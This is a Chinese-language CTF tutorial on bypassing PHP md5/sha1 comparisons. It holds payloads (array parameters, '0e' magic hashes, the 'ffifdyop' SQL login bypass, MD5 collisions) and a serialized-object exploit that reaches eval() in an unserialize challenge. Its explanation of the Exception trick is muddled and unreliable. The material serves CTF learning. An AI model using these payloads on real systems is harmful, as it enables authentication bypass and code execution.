鉴于最近打的一个比赛,来了解一下ctf中经常出现的弱等于强等于的问题
PHP弱类型
Q1:二者弱比教
这部分内容自己检索,简要的说==
的情况下,左右两边的类型会进行转化。
举个例子来说
<?php
show_source(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
if($a != $b&& md5($a) == md5($b))
echo "you are right!";
else
echo "erro";
?>
如题,需要我们传入的内容不一样,但是MD5加密之后需要相同
常见的做法有两种
方法一:
弱比教数组绕过,payload如下
?a[]=1&b[]=2
先进行数组的比较,1!=2,再md5加密,对于对数组的加密,默认是Null,两者加密之后相同
方法二:
常见的知识积累
?a=240610708&b=s214587387a0
原理是两者MD5加密之后开头都是0e,在php语言中,0e会在php解释为0
以下是常见的一些
QNKCDZO
240610708
s878926199a
s155964671a
s214587387a0
sha1的弱比教类比上面的内容
Q2:自身弱比教
例题如下
<?php
show_source(__FILE__);
$a=$_GET['a'];
if( md5($a) == $a)
echo "you are right!";
else
echo "erro";
?>
只需要md5加密之后等于自己就行
?a=0e215962017
做下记录就行
Q3:登入用户Md5(万能密码)
这个常见于登陆界面
可以参考这个文章,文章
ffifdyop
经过两次转化后得到的结果是 'or'6�]��!r,��b
。位于 or
两侧的单引号可以用于闭合两端的单引号,使得 or
不再被 MySQL 认为是字符串,而是一个关键字,发挥着 逻辑或运算符
的作用。
Q4:Md5双层嵌套
md5(md5($a))==md5($a)
列举几个例子
CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk
7r4lGXCH2Ksu2JNT3BYM
可本地自己测试
PHP强类型
Q1:二者强比较
<?php
show_source(__FILE__);
$a=$_GET['a'];
$b=$_GET['b'];
if($a != $b&& md5($a) === md5($b))
echo "you are right!";
else
echo "erro";
?>
也可以用数组进行绕过
?a[]=1&b[]=2
Q2:二者强比较(类限制)
当限制在类中无法利用数组,可以尝试md5碰撞,这里推荐工具fastcoll
然后工具执行
接下来写一个例题就行比较一下
<?php
$a=file_get_contents("C:\Users\30226\Desktop\ctftool\tools\fastcoll\1.txt");
$b=file_get_contents("C:\Users\30226\Desktop\ctftool\tools\fastcoll\2.txt");
$aa=urlencode($a);
$bb=urlencode($b);
if($aa===$bb)
echo("ok");
else
echo("erro");
echo "</br>";
$aaa=md5($a);
$bbb=md5($b);
if($aaa===$bbb)
echo("ok");
else
echo("erro");
Q3:MD5和sha1强比较
<?php
show_source(__FILE__);
class cianiao
{
public $var1;
public $var2;
function __construct($var1, $var2)
{
$var1 = $var1;
$var2 = $var2;
}
function __destruct()
{
echo md5($this->var1);
echo md5($this->var2);
if (($this->var1 != $this->var2) && (md5($this->var1) === md5($this->var2)) && (sha1($this->var1) === sha1($this->var2))) {
eval($this->var1);
}
}
}
unserialize($_GET['payload']);
这里可以利用php的EXCEPTION异常类进行绕过,exp如下
<?php
class cianiao
{
public $var1;
public $var2;
}
$cmd="phpinfo();?>";
$a = new Exception($cmd);
$b = new Exception($cmd,1);
$tr = new cianiao();
$tr->var1=$a;
$tr->var2=$b;
echo urlencode(serialize($tr));
输入可以进行绕过,原理是采用Exception
类绕过md5
、sha1
等哈希函数的强等于(===
)检查,因为在特定情况下,PHP的类型转换机制会导致哈希碰撞被误解为相等。这种类型转换的特性可以通过抛出异常并捕获它们来实现。
ps:路径长度和包含的特殊字符(如中文字符)在序列化和反序列化过程中可能会出现编码问题,尤其是在不同环境中(如不同版本的 PHP,不同的操作系统)处理这些路径时,会导致路径解析错误或乱码,从而影响程序的正常执行。因此我的没有显示页面,但是也显示了字符串。